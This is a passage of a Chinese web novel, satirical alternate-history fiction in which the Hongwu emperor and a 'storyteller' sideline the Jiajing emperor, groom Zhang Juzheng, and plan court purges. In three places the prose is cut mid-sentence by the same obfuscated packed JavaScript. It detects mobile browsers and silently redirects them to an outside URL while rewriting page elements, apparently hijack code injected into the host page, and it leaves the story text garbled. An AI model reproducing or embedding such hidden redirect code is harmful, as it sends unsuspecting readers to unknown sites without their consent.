“不必多虑。”徐尚书道:“之后面圣的时候,畅所欲言即可。” · 师徒二人于西苑门前下车,被宦官引入无逸殿中。昨日一场混乱所留下的一切痕迹都已被料理干净,皇帝历年所打造之修道陈设亦同样清理一空,不见踪影;于是偌大殿阁之中,只留下神台上支起的白色幕帐,朦胧可以窥见帐后有人影盘坐,些微药气飘荡不去。 喔,如果光线再明亮一些,纱帐再轻薄一些,那么外人应该能够隐约看出,神台上盘坐人影之后还有两个影子,一左一右,正襟危坐,身形恰恰高出一截;便仿佛是两座大山,正正好的夹住了中间的皇帝陛下。 唉,二圣同朝! 唉,垂帘听政! 唉,版本复刻! 当然,萌新张居正没有发现这可怕的异样;他还是老实上前,在尊师之后亦步亦趋,恭敬行礼,口诵圣安;片刻之后,丝帐内传出了一声悠悠的铜磬。 是的,虽然昨日真君已被正义制裁,沉痛失去了他赖以为所欲为之一切授权;但为了朝政的稳定,高皇帝却并不能骤然做什么巨大的改变;所以捏着鼻子,忍住恶心,也只有暂时维持真君执政的某些标志性做派,继续这种神神叨叨、不说人话的可怕作风——总之,坐在右侧的高皇帝厌恶地横了真君一眼,真君打了一个哆嗦,铜磬当啷拨出了杂音。 张叔大并未察觉异样;他谨慎拜了下去,口呼万岁。 稍作沉默之后,帘幕后传来了飞玄真君发飘的声音: “……张居正?” “正是微臣。” “你先前递上来的条陈,朕已经看过了。” 张居正:……条陈?他最近没有递啥条陈呐? 喔不等等,他先前确实给皇帝上过一份谏章,那还是他刚刚入职翰林院的时候,因为年纪太轻资历太浅,被浑浊官场倾颓国事直接搞了个破防,所以少年意气不可自制,居然甘冒风险,单独写了一封极为沉痛深切的奏章,期盼能够感悟君上于万一;但理所当然,这种文章就和千百份的不平之鸣一样,被司礼监被内阁被通政使司悄无声息地淹没于一切文山会海之中,轻而易举地抹消了痕迹,到现在也不过一个“书上,不报”而已。 当然,理论上讲,要是皇帝天良激发,也可以让人翻找档案,寻出这一份文件重新细读……但问题在于,这已经是五六年前的文章了呀! 不是,这反应链条会不会太长了一点? “小臣谬言,有辱陛下圣听。” 飞玄真君压根没有理会他,面无表情地读高皇帝递来的纸条: “你写得不错,但太不透彻。隔靴搔痒,未明根本。” 张居正吓了一跳,赶紧匍匐下去:“臣惶恐……” “朕只问你。”飞玄真君直接打断,继续朗读:“你在奏疏中说,方今天下最大的弊病,共有数项,什么‘宗室骄恣、吏治因循、边备未修、财用大亏’,说得是条条是道,振振有词;但为什么每一条都是浅尝则止,不肯深入?譬如你说‘宗室骄恣’,但又在后文找补,说什么也只有一两个宗室在‘奸贪□□,刻剥小民’罢了,只建议稍稍惩戒即可——朕且问你,如果只是一两个宗藩在坏事,又怎么称得上天下最大的弊病?这些一二宗藩,又凭什么敢生事?不能一一指明,不是言不如实,又是什么?” 张居正:? 不是哥们,你几个意思? 说难听些,你飞玄真君万寿帝君当这么久的皇帝,总不能算是昨日才进京的萌新吧?难道你在位置上赖了这么二三十年,当真不知道下面的大臣为保体统,是怎么想方设法的在描补弥缝,虚做粉饰?怎么,非得我在奏疏里给你写明了宗藩们为非作歹无恶不作的千万劣迹,将皇室恶名远扬千秋万代,大家一起泥潭打滚,你心里才舒服不成? 怎么,我张居正绞尽脑汁避重就轻,是为了保我们张家的脸面么? 可怜的张学士猝不及防,登时呆在了当场! 还好,这个时候,贴心的老资历就该出场了。跪坐在侧的徐尚书低声开口: “‘朝廷之臣,莫不畏王;四境之内,莫不有求于王。如此,王之蔽甚矣’。陛下有意纳谏,你但说无妨。” 张居正:…………等等,这真是什么邹忌讽齐王纳谏的剧本么?以往日的教训来看,难道不该是‘面刺寡人之过者,受廷杖、贬斥、三年以上诏狱徒刑’么? 哎呀,该不会是狠真君巧施连环计,小学士误上断头台吧? 张学士迟疑片刻,还是选择了相信尊师。他再次匍匐,小心开口: “圣上高明烛照,微臣感愧不胜;陛下所言,句句是实,四方宗藩,确实在招集方术邪说之人,惑民耳目,求亲媚于上;这也是他们横行无忌,难以约束的缘由。此风盛行于下,弊害不可胜计。” 你要我说实话,那我可就得说一点了哈。宗室们为什么跋扈?因为他们招集方士取媚于上,这才没有人敢管;至于他们真正取媚的是谁,喔陛下真要追究这么细么? 底细如此之尴尬,上面的飞玄真君似乎有些梗住了——喔,不只是梗住,如果仔细聆听,则还能分辨出纱帐后一点细微而尖锐的抽气声——熟悉的人立刻就能听出来,那是被人在肿痛处下死手掐了一把,痛得比针扎还要剧烈,不能不咬住嘴唇,才拼命忍耐—— 当然,张学士是听不出来的,或者听出来了也纯当幻觉:煌煌禁宫之中,怎么可能有人敢冒犯动手呢? 总之,真君梗住片刻,低声开口了: “那么,那么其余事项呢?” 好吧,既然你诚心诚意的问了,那么张学士也就只有大发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17302022|198458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慈悲的告诉你;反正他在翰林院广泛阅览了朝廷几乎一切的档案,对当下时局还真是了如指掌: 首先,为什么吏治会因循守旧,腐败不堪呢?喔那是因为现在压根没有人操心政务,大家的精力都集中在搜刮祥瑞、仙术、各色各样的道经之上;至于搜刮的祥瑞是为了谁……你确定要问这么细么? 其次,为什么边境的武备会匮乏呢?喔那是因为军费被先后挪用,勋贵大吃空饷,糜费早已不可控制;至于军费被挪用到了什么地方……你确定也要问这么细么? 最后,为什么…… ——总之,话题越谈越是深入,也越谈越叫人紧张;谈到后头来张居正自己都有点毛骨悚然了,以至于在言语中反复暗示皇帝,大家最好适可而止,君臣之间保留一点体面。但不知道怎么的,皇帝就跟被什么魇住了一样,哪怕话题明显都已经进展到很尖锐、很古怪、很应该“别说了,别说了”的程度,他在屡次短暂的沉默之后,居然都还在不停追问,追问到张居正都替他觉得尴尬了,还要坚持询问: “那么……” 张居正:? 他愕然抬起了头来——不对,他怎么听到这声音里还隐约带着哭腔呢? 他茫然抬头左望,发现尊师徐尚书端正跪坐,俯首望地,全无表情;他再疑惑右望,发现两边站立的宦官漠然平视,表情全无;四面都是照常的一片寂静,并无一丁点异样。 ……这啥情况? 萌新张叔大有点懵了。 好吧,他确实是涉世不深经验不足,到现在才头一回踏足大内,有幸蒙圣恩召见;可是,可是,御前召见难道就是这样的吗?难道谈着谈着突然发出点怪声,也是正常的吗? 萌新张叔大震惊了! 也是,他的确曾经隐约听闻,说当今圣上有种种不可言说的怪癖,御前时有怪象;可是,就算穷极一生的想象力,他大概也不能预料,御前的怪象,居然是这么个怪法! 他还能说什么呢?也许这就是官场新人与真正重臣之间的天悬地隔吧,或许,或许只有历练到尊师徐尚书的地步,有此浑若无事、安之如素的风范,才真正算是入了仕途的门吧…… 学吧,学吧,学问太深了! 张居正呆愕半晌,偷眼看了一下面无表情的尊师,还是怯生生匍匐了下去。 · 总之,真君在帘幕里莫名抽泣了几声,然后又不说话了。内里窸窸窣窣响了一点动静,然后又走出了一个面色青白的太监,双手捧着一张绢帛。 “圣上偶有不适,难于言语。”他木然道:“命我代为问话。张学士,你刚刚论述诸多问题,条条是道,宛若亲见,种种言论,是否可靠?你一直在翰林院里供职,怎么知道的这么多?” 张居正拜道:“微臣以耿耿之身,侧身翰林,忝任天下之重,岂可不敦本务实,预养其有所为?臣居翰苑之时,尝检阅典籍,求教于逢盐、关司、屯马、按察诸庶务衙门,询其关窍;虽资质驽钝,不能穷其万一,亦少有所得。” 没错,张叔大在翰林院蹲了这么多年,所知所得绝不止有档案上的纸上谈兵——带明行政能力退化之后,京师档案有多少可靠性也相当难说;事实上,每次有外地官员、举子入京谒见,张学士都会带着酒肉上门拜访,向他们请教地方上的民生、政务、山川形势,一一记录,了然于胸,数年从未间断——而且,这请酒吃肉的钱,还是从他捉襟见肘的俸禄里自己挤出来的。 也正因如此,至少现在的张学士敢于自信保证,他对于大明朝整体情形的把握,绝不在当世任何人之下。 帷帐内又稍微沉默,然后忽然响起了声音——不是皇帝的声音,也不是刚刚太监的声音,而是更为苍老、浑厚,还带着中都凤阳口音的声音: “皇帝问你,你是军户出身?你祖上还是凤阳人?” 张叔大迅速调整心情,已经学会了对一切异样处变不惊,所以沉着回话: “贵人所言正是。” “……那倒是巧了。”帘帐内低吟片刻,缓声道:“你懂得倒是不少,但世上的事情,终究是做出来的,不是说出来的。以后还是要好好的办事,不可松懈一步,明不明白?” “臣敢不效死!” 16.交托 总之,谈过一回后,帘帐内不再说话;内里传出一张纸条,宣布召见到此结束,领张学士下去赏赐宴席玩物。徐尚书则被单独留了下来,“另有要事相商”。 至于什么要事,那也不难猜测;张学士刚刚远走,帷帐里的说书人就迫不及待的出声了: “陛下以为如何?” 稍一踌躇,高皇帝平静开口: “人还算不错。” ——终于! 正在侧耳倾听的徐尚书双手一软,险些当场扑到地上! 当然,早在举荐张居正的时候,深谋远虑的徐尚书就已经考虑妥当了;张学士的天赋勤勉自然无可挑剔,但最关键还是他的出身——他祖上是洪武皇帝的同乡,跟着老朱家从凤阳摸爬滚打起来的军官!这是什么?这就是高皇帝铁打的基本盘。一个聪明、忠诚、足可信赖的基本盘,这是怎样罕见的人选?这样的人选,高皇帝怎么可能不喜欢?! 不过自然,预料归预料,如今奉献之明珠当真蒙获宠幸,自己一条老命勉强可望保全,那种后怕与惶恐,仍然汹涌澎湃,不可自制,几乎连说话的力气都要没有了。 ——唉,卖徒弟终于卖出价格来了! 只听高皇帝又道:“不过,口头再怎么来得,都还要看看实际。此人尚须磨练,方可大用。至于如何磨练,先生可以拿一拿主意。” 顶尖人物就是顶尖人物,下定了决心就不会再有迟疑;既然决定了请说书人代为掌管皇权,那么他就会充分尊重说书人的权威;用人挑人的时候可以提一提建议,但真正的人事安排上,自然得掌权者自己拿主意——这是皇权运行的奥秘之一。 对于这样匪夷所思、近乎悖逆的举止,在场没有人有什么反应;喔,被当面ntr的正主飞玄真君倒是悲哀的呜咽了一声,但完全没有得到回馈,纯属路边一条。 “……京中不是有流民么?”杨易想了一想:“让张学士先负责安顿流民,适应一番日常琐碎的事务。” “这倒不算什么。”高皇帝道:“翰林学士本就有观政历练的职守,让他在京中挂个兼差就是了,吏部可以直接出具文书。然后呢?” “内务料理完了,还得学习对外的章程。沿海的倭寇凶狠残暴,为祸不可胜计;我想,是不是让张学士也在剿匪的事务中历练历练,熟悉一下国家的武备?” “那是兵部的事情了。”高皇帝立刻道:“兵部,兵部,嗯,直接在兵部占据高位,恐怕很多人要不服气;拔擢如此迅速,长远看未必是好事。这样吧,可以让他在内阁领个行走学习的差事,专程负责料理抗倭的文书。” 这又是皇权运转的第二个秘诀了。理论上讲国家兵戈事大,主导抗倭事宜的起码得是个兵部尚书;而你要把步入官场不过六年的翰林学士飞升拔擢至如此非分之位置,那不但是天下大哗,匪夷所思,恐怕当事人自己都要惊骇欲绝,不能自已;但反过来讲,区区一个整理文件的工作,就实在低调、恰当、灵活太多了。既然是整理文书,那么顺便分门别类,没有毛病吧?既然已经分门别类,随手再纠正个错字语病,没有毛病吧?错字语病都纠正了,再写个总结回执什么的,问题不大吧? 可以把控文件、修改文件、总结文件……我们一般把这种职位叫做什么呢? 这就是临时职位的正式化,秘书职位的实权化,皇帝赖以运转整个国家的手腕之一,明不明白? “内阁的事情,礼部说话比较管用。”高皇帝道:“徐阶?” 徐阶赶紧挣扎着爬起,低头领命: “罪臣一定办好!” “那么,之后呢?” “对内的事情也办了,对外的事情也办了,要是勤勤恳垦办得好,总该给点奖励吧?”杨易略微不好意思,露出了一点微笑:“我想……” 在高皇帝极为微妙的目光中,说书人有点尴尬的吞下了后半句话。 当然,在场的都是聪明人,聪明人懂得都懂。作为宽宏大量、心地善良,行事准则是每与熜反,事乃可成的真诚玩家,说书人的手笔当然是不可能小气的;他为张居正设立了种种艰苦的考验;但一一越过考验之后,如今年轻、幼稚、尚欠打磨的小张学士,将会得到他梦想不到的奖赏。 ——他会拥有整个大明朝。 喔当然,当着高皇帝和飞玄真君的面聊什么“我已经决定了以后就由张居正来管大明朝啦”的话题,未免还是有种ntr的微妙;所以说书人也就识相的没有继续。 不过,作为真正的决断者,高皇帝却没有什么反应;实际上,他表情依旧平静: “之后如何重用这张学生的事情,就由先生自己决断好了。不过,咱在这里也呆不得多久,还是有几句话,想要告知先生。” 高皇帝做事是最有章法的,既然已经转交了皇权,接下来就要示范该如何使用皇权,来保证大明朝——同时也是他老朱家——的正常运转;当然,说书人的情况是非常特殊的,他不需要考虑篡位夺权、丧失力量的问题,所以需要掌握的权术,瞬间就减少大半,至于剩下的诀窍,高皇帝刚才已经演示了一些,接下来就要讲解另外一些了: “君上的大权,不过是用人罢人,能上能下而已。”他道:“不过,用人和罢人,都会得罪一些人;稍有不慎,就会损害君上的威严。因此,这两项事情,都要有大臣代为操持,挡杀在前,才最为妥当。万事万物,都要有个缓冲,才是长久的办法。” “原来如此!”说书人不知从哪里摸出了一个笔记本,刷刷刷刷,仔细记录,两眼闪闪发光——高皇帝毕生权术经验之总结,这可不是随便在哪里都能听到的,要不是场合不合适,他甚至想举起手来蹦蹦跳跳,感谢高皇帝还不完的恩情:“那么,该用什么样的大臣,代为操持呢?” “办这样的事情,必定是众怨所集,就算一时权势显赫,名声也不堪问了。”高皇帝简洁道:“所以,最好废物利用。找个早有前科,举止失宜,用掉也不可惜的角色,让他将功赎罪,把事情全部都担了;到实在兜不住的时候,再随手罢免了事,也算平息一番众怒。” 跪坐在下,一言不发,标标准准的废物本物·徐尚书:………… 谢谢你啊,一点都不屑于隐瞒的高皇帝陛下! 当然,这种结局徐尚书自然不会意料不到;或者说,他引张居正入宫之时,就已经隐约意识到了事情的进展。可是,如今这鲜明的反差,仍然锥心刺骨、刺激莫可释怀——他那亲爱的弟子,得到的待遇是什么?是苦心历练,是精细打磨,是将来做梦也想象不到的伟大奖赏;而他呢?得到的不过就是个“废物利用”!——师徒之间的对照组,怎么能如此惨烈?难道喜新厌旧,就是高皇帝也不能免俗? 呜呼,但闻新人笑,不闻旧人哭;君恩如水向东流,得宠忧移失宠愁! “此外,就是用人的思路。”高皇帝压根没有搭理自怨自艾的万人嫌老橘皮徐尚书,兀自解释:“先生应该也知道,自老四……之后(高皇帝明显梗了一下),大明朝就是仰仗着内阁在治国了;拣选内阁,就是拣选治国的思路;有什么样的方针,就选什么样的人。比如现在,内阁的主要任务,就是除旧布新,为后人开路……” 现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307410|198458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内阁的主要任务,就是废物利用,榨干最后一丝价值扫清官场,为后人充当袒露的炮灰。 “那么挑选的人才,就要格外谨慎。” 那么挑选的炮灰,就要仔细斟酌;不能把真正看好的角色——譬如张居正——拉进来浪费;这也是高皇帝只让他整理文书,而坚决不给予实际名分的缘由。当然,某些可恶的邪恶老帮菜,就没有这个限制了。 “譬如现在,内阁中的次辅张治摆明是不堪大用,恐怕隔不了几日就要告老;他一走后,马上就要腾出位置;先生对此,有何考量呢?” 允许张治告老还乡,已经是洪武皇帝此生最大的慈悲了;这还是张治张阁老自己乖巧懂事,回去后立刻上了折子,把自己这一辈子以来从挪用官家茶水费到踢同僚屁股的坏事统统都给交代了个干净,下跪求饶毫无保留,态度实在温顺得匪夷所思——鉴于他确实没干啥坏事,再加请罪折子之外,还额外退还了从政数十年来自老朱家拿到的所有俸禄赏赐,如此干净利落,才终于有了高皇帝的这一丝宽容。 唉,这是何等之不容易啊! 说书人思索了片刻: “接下来,就该是依序替补了吧?” 他望了望徐尚书;早在先前,徐阶就以礼部尚书的资格入直无逸殿,参赞中枢机要,等同于是半个内阁成员;如今次辅拎包跑路,他顺次替补,也是非常正常的事情。当然,在大明王朝的政治中,就是煮熟的鸭子,也有飞走的那一刻,如今能够顺利下嘴,那还是很值得庆贺的—— 很值得庆贺的徐尚书拉着一张驴脸,看起来简直连上吊的力气都没有了。 “先生说得不错。”高皇帝道:“不过,纵使替补,内阁也只有两个人办事,终究还是太少;总得再想方设法地拉几个进来;这个还得尽快办,否则……” 高皇帝有点犹豫了;他在地下再博闻广知,也不可能对嘉靖一朝的官场了如指掌;或者说,现在的官场废物确实不少,但多半是真真正正,绝对纯粹的完全废物;如严、徐一般,可供利用的角色,却委实难以寻觅——再说了,内阁这种局势是不可能长久维持的,现在你还能骗人进来杀,要是时日久了内阁那种政治缅北的真相暴露出来,那恐怕…… 杀猪盘也得有人接盘,是吧? “喔,这一点陛下倒不必担心,让下面寻觅就可以了,一定能找到的。”万万没想到,居然是说书人主动出声,贴心安慰:“陛下可能不太知道,现在大明士人究竟是什么数量,官位和人才之间,又是什么供需关系;事实上,我在茶馆的时候,就曾经听过这样一个笑话……” 高皇帝:? “那是两个新科举子来喝酒,谈到前几年朝政风波频仍,连中枢重臣都倒了不少,甚至有人赔上了性命;感慨再这样下去,真不知道还有谁愿意入内阁。听了这话,他的朋友就笑说,这种事还是要看;要是内阁一天就杀一个阁老呢,那也就算了;要是内阁一个月才杀一个阁老呢,那还是很可以做上一做的。” 高皇帝:………… 徐阶:………… 沉默片刻后,高皇帝露出了一个微笑。 “……说得不错。”他柔声道:“先生只要记住这个笑话,按照上面的精义办事,那就必定是一切妥当,咱也可以放心了。” 说书人:………… 好吧,这下轮到说书人的笑容僵住了。说书人注目洪武皇帝,木然呆愣片刻,终于喃喃出声: “——精义?” 这笑话能有什么精义? 总不能——总不能是“一个月杀一个阁老”吧? 17.燃冬 之后的事情,就相对比较保密了;大概是嫌弃ntr之苦主飞玄真君总是在旁边哼唧烦人,高皇帝干脆叫人把他抬到后院去“养伤”,自己再单独与说书人细聊高层人事安排的细节。 飞玄真君被送到后院,继续哼哼,内外痛楚,一齐袭上心头;真恨不能破口大骂,发泄情绪——偏偏又不敢骂得太过大声,生怕前面的高皇帝耳尖听到了;如此窸窸窣窣蛐蛐半晌,挡住大门的帘子才终于掀开,徐阶面无表情地走了进来。 眼见此人,真君两眼直竖,当真是新仇旧恨,一齐涌上心头: “好啊!原来是新任的徐阁老;徐阁老还想着来见朕呢?” 徐阁老木着脸站了片刻,终于叹了口气: “陛下何必如此。臣总是陛下的臣子。” 真君冷笑:“徐阁老倒是很会敷衍,新欢旧爱,两不耽搁;啧啧,我还以为阁老现在一腔心思都在讨好新人上了呢——百忙之中,还蒙阁老前来敷衍一二,朕是不是该感激涕零?” 徐阁老:………… 徐阶一时沉默,感受到了某种熟悉的、麻木的、叫人疲惫的无语来……果然,江山易改,本性难移;高皇帝区区几顿皮带,还是没办法抽掉真君深入骨子的阴阳,甚至重创之余,心态愈发扭曲;就算对着别人不敢发泄,私下里那种不可遏制的刻薄,仍然会对自己人倾泻而出,力度更远胜往昔。 ……唉,看来不止新任徐阁老哀怨难当,圣上也搁这怨天怨地着呢;果然新人上位,旧人落幕,终究是不可承当的痛楚啊。 “说吧,那妖——那说书人叫阁老来做什么?如何处置朕的结局?一把火烧了么?推到水里淹了么?软禁南宫么?何等举措,朕都担当得起,放马过来吧!” 啧啧,果然是朱老四的子孙,你看真君历数起历代先帝之遭遇,从浴火重生之建文皇帝至下九洋探鳖之武宗皇帝,那是多么的如数家珍、详尽准确呀! “说书人从始至终没有提到陛下,更没有软禁加害的意思。” 陛下也不妨自己想想,以说书人表现出的无上神通,需要派人软禁您老人家么?就是真君神功大成当真一个屁上了天,难道还能逃脱人家的手掌心不成?我们还是现实一点吧! “再说,陛下就是移怒于臣,又有什么用处呢?”徐阶低声道:“臣也只是奉高皇帝的命令,请陛下看几份单子而已。” 他从袖中摸出了三份文件,双手递了上去。 单子分白、红、黄三色,分门别类,详细登记了姓名及官职;真君瞥了一眼,不由疑惑: “这是什么?” “高皇帝仔细检阅奏折,亲自开列的名字。”徐阁老简洁道:“用说书人的话说,就是所谓‘洪武杀’的名单。” ——啊? “洪武杀?还名单?” ——颇具神经病的气质呀! “说书人表示,他将把自己的天赋带到洪武杀游戏上去,要发挥灵感,查漏补缺。” 面对质问,徐阁老表情木僵,宛若面具,只有眼角微微跳动,昭示出内心的刺激: “他指出,每份名单,都应该遵循严格的初审-外审-盲审-死线制度,保证流程严格,无可挑剔——提出名单后,由高皇帝及说书人做初审,初审名单下发给严阁老做外审;将来内阁还可以成立清查委员会,根据抽签制度,匿名对名单进行盲审,最后在期限之前,递交批准;如果不能完成,则分层问责,详细至个人……大致如此吧。” 真君的眼睛猛的突了起来,似乎是怀疑自己先前被高皇帝打到了脑袋,很可能已经有些发疯了,要不然怎么会听到如此癫狂错乱,比磕错了丹药还要奇怪的言辞呢—— “总之,这些名单,昨夜就经过了严阁老的外审。”徐阁老道:“绿色单子上的,是情有可原,或者别有牵扯,需要豁免的;白色单子上的,是可以再暂时观察观察的;红色单子上的,则是……” 震惊的真君茫然接过单子,茫然翻转单子,最后迟疑着抽出了那张最为显眼的红色单子。他一扫上面密密麻麻、不可计数的名字,登时倒吸一口气: “严嵩疯了?!” ——严嵩的理智也已经崩溃了吗?这单子上的名字有多少?这单子上开列的罪行是什么?——等等,有几个名字分明还是你严嵩的自己人吧?你这老货疯起来连自己人都杀?! “高皇帝说了,这是为了快速澄清当下的朝局,不得不做出的牺牲。” ——至于具体牺牲的是谁呢?好难猜喔。 “此外,名单上还有些名字标了蓝记。”徐阁老又道:“高皇帝说,这些人一意媚上,恬不知耻,所谓逢君之恶,罪莫大焉,一个都不能饶恕;但偏偏他们盘根错节,朋比胶固,很难找到直接问罪的证据;因此按高皇帝与说书人商议的意思,与其慢条斯理,反复折腾,不如用点非常手段,一次解决。两位希望陛下出手,动用特长,可以更加干净——干净利落。” “……什么?” “说书人再次贡献了他的天赋。”徐阶面无表情:“说书人认为,直接定罪,可能不太方便;但按照过往惯例,陛下却可以随意指摘这些人的过失,发挥独有的长处……譬如指责他们出生的生辰八字不合适,胆敢妨克了陛下炼丹;譬如问罪他们写青词的姿态不恭敬,用的纸张笔墨居然不够高档;譬如申斥他们对陛下的修道事业不上心不诚恳,没有时刻为陛下祈福……诸如此类,一发就可以拿下这些人——陛下对此,应该非常熟悉才对。” 我们飞玄真君执政至今,最为大家所公认的伟大特长是什么?当然是那种尖酸刻薄、阴阳怪气,永远出人意外的蛮不讲理啦!你要说无缘无故把一堆隐匿甚深、老奸巨猾的官员搞掉,那大家心里多半都要嘀咕,难免影响局势稳定;但你要说这是当今真君吃多了丹药在莫名发癫,那大家不就恍然大悟,一下子都能接受了么?! ——哎呀,这就是长久人设的作用呀! 总之,没有人,比我们真君,更懂刻薄!! 可惜,大家都能接受,飞玄真君本人却似乎很不能接受。实际上,真君只是愣了一愣,立刻勃然大怒,眼珠子都瞪出了血丝: “你这是什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17313012|198458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么意思?你这是什么手段?!你分明就是诿过君上,诽谤朕躬!你敢玷污圣名,污蔑君主!你放肆!!” 是的,飞玄真君的确很阴阳、很刻薄,稍一不爽就要搞人,每回搞人的罪名多半也莫名其妙,完全不可理喻——但你能指责真君坏,却绝不能指责真君傻;真君哪一次搞人,不是预先找好了白手套遮蔽在前,想方设法隐匿于后?再糊涂、再荒谬的问罪,那也是白手套的错,是内阁的错,是大臣的错,而我们真君藏身其后,隔岸观火,永远都是片叶不沾,干净纯洁如一朵摇曳之小白莲花—— 可是现在呢?现在你居然叫他亲自动手,直接硬干!这不是一头脏水,当头泼来,从此永远洗刷不得了吗?这不等于是倒反天罡,反过来把我们真君当白手套使唤了吗? 欺天啦!! 说实话,这也就是真君被打得太惨了实在爬不起来了,否则好赖得从地上直接蹦起,当头往徐阁老头上砸一个砚台不可: 你反啦!! “……陛下何必如此。”徐阁老叹气道:“说书人讲了,这也是尊重陛下独断的权威,维持陛下的威信。” “这是朕的朝廷,朕的大臣,朕的大权!”真君嘶声咆哮,两眼凸起,道道青筋,立刻蹦出:“朕的大权!他们全部夺走了,现在施舍回来一点,还要朕感谢他们吗?!朕的大权!!” 说罢,他拿起那叠名单,狠狠摔到地上,啪一声四处飞扬,横扫满天! 徐阁老跪了下来: “陛下息怒,陛下息怒!此时生气,又有何益?不过平白伤身罢了。” “你这混账说得轻巧!”真君吼道:“又不是你遭了算计!你站在干岸上,倒是可以自自在在,慷他人之慨——” 说到此处,真君不由停了一停,因为他暴怒起身,却无意看到了徐阶的眼睛——那一双忧郁的、沉重的、情绪无可言说的老眼;于是瞬息之间,往常种种,涌上心头;他才猛然想起,眼前这个老头,也是被高皇帝钦点为“废物利用”内阁中逃脱不得的一环……干岸,干岸,徐阁老又哪里的干岸可以站呢?就算献上了爱徒张居正,他现在的路数,不也只能苟延残喘,在为新人榨干最后一份利用价值么? “请陛下相信。”徐阶静静道:“我和严阁老,都与陛下感同身受。” ……是啊,某种意义上讲,这君臣三人,不都是在被“废物利用”吗? 真君张了张嘴,终于不能发声;他力气一空,缓缓瘫坐了下去,只能呆呆望着徐阶的眼——深沉复杂,千万忧思,但面面相觑之时,终究是欲说还休,欲说还休,只有一股共情的悲凉,悄然萦绕于盈盈对视之间。 唉,今朝两相视,脉脉万重心;然执手相看泪眼,唯无语凝噎! 如此四目相对,凄然沉默许久,徐阁老再次拜了下去: “今日之事,臣与严阁老都会尽力;但无论如何,还请陛下善自珍视,爱护己身,才能徐图将来;臣与严阁老等,也才真能放心。” ——无论如何,咱们三个把日子过好,总比什么都重要,是吧? · 18.名单 因为种种紧密封存的缘故,西苑中发生的闹剧并未扩散;除魂飞魄散、铭心刻骨的数位当事人以外,即使高层最神通广大、最机灵敏锐的幸臣,也没有听闻到一点底细;他们或许对飞玄真君莫名其妙的卧病微有疑虑,但大概做梦也想象不到禁苑中真正的局面……所以一切情绪,总还能保持镇静。 不过,在真君卧病不出数日之后,宠臣们总算是渐渐有点觉着不对劲了。 喔,这倒不是说我们飞玄真君以往就非常对劲;但近日的操作,却委实有些震动人心。在西苑中养病不过三日,皇帝就忽然令人替出来一道圣旨,申斥两个工部的郎中及其靠山“僭越犯上”、“亵渎不堪”,命人廷杖数十,直接扔进诏狱,顷刻就没了消息! 要知道,这两个工部郎中半月前才寻觅了通天大道,苦费心机攀缘权宦,进献了一张据说能调和风水的神坛图纸;设计巧妙深符玄理,恰恰迎合了飞玄真君要大兴土木的心意;于是十数日之间领受了宫中三次赏赐,眼看着就是要拔地飞升、炙手可热的节奏,声光之盛,甚至还在顶头上司工部尚书之上;谁料不过顷刻之间,居然就栽翻倾倒,从此一败涂地! 虽说君恩只如流水,但这翻脸无情的速度,未免也过于惊人,而飞玄真君下手之狠辣恶毒,略无顾忌,亦不能不令一切有知者战栗畏惧,不能自已。 当然,三条腿的王八难找,两条腿的官能从京城排到海南;倒两个正四品的工部郎中不算什么,对照的震撼也只有一瞬之间;但关键是,时日稍一长久,亲信们才渐渐探明底细,知道这两玩意儿垮台居然是新任首辅严阁老的手笔,而“亵渎不堪”云云,也是严阁老挖出来的罪名! 简言之,这两个栽翻的倒霉蛋当中,第一个是被严阁老揭发出来,居然在上奏的青词中没有避讳真君爱猫霜眉的名讳,大大冒犯了霜眉大人——众所周知,猫效主人,冒犯霜眉就是冒犯真君,冒犯真君就是活该处死,根本没有疑虑。 而第二个就更厉害了。他被揭发出来,居然胆敢在八月初八举行祭祀,向上天焚烧青词,罪恶更为不赦——众所又周知,八月初十就是当今至尊至贵之飞玄真君降诞世间的伟大生辰,每到此时,真君都是要闭关斋戒,虔诚祝祷,向上天汇报自己一年工作之伟大业绩的;那么现在,你非要抢在飞玄真君之前进行祭祀,又是几个意思?是不是想争功劳,图表现,争夺我们飞玄真君蒙获天恩,飞升成仙的机缘?! 竟敢阻拦真君机缘,我看你已有取死之道!! 可想而知,不明而已,一旦明白了这两个货色倒台的真正缘由,高层宠臣心中的反应,当然只有一个: ——我的天呐! 是的,他们原本以为自己长久历练,战战兢兢,已经在折磨中熟悉了真君,习惯了真君;但到此时此刻才恐惧察觉,真君的刻薄、癫狂、匪夷所思,仍旧远远超出了正常人的理智;他们原本也以为,自己左右逢缘,柔软无骨,在逢迎跪舔上已经做到了巅峰,但也万万没有想到,新上任的首辅严嵩严老登,居然可以狠毒、谄媚、无耻到如此地步! 这种奇葩的罪名你都能想得出来么?这种离谱的手腕你都能干得下去么?天壤之间,怎么还能有严阁老这般的人物?! 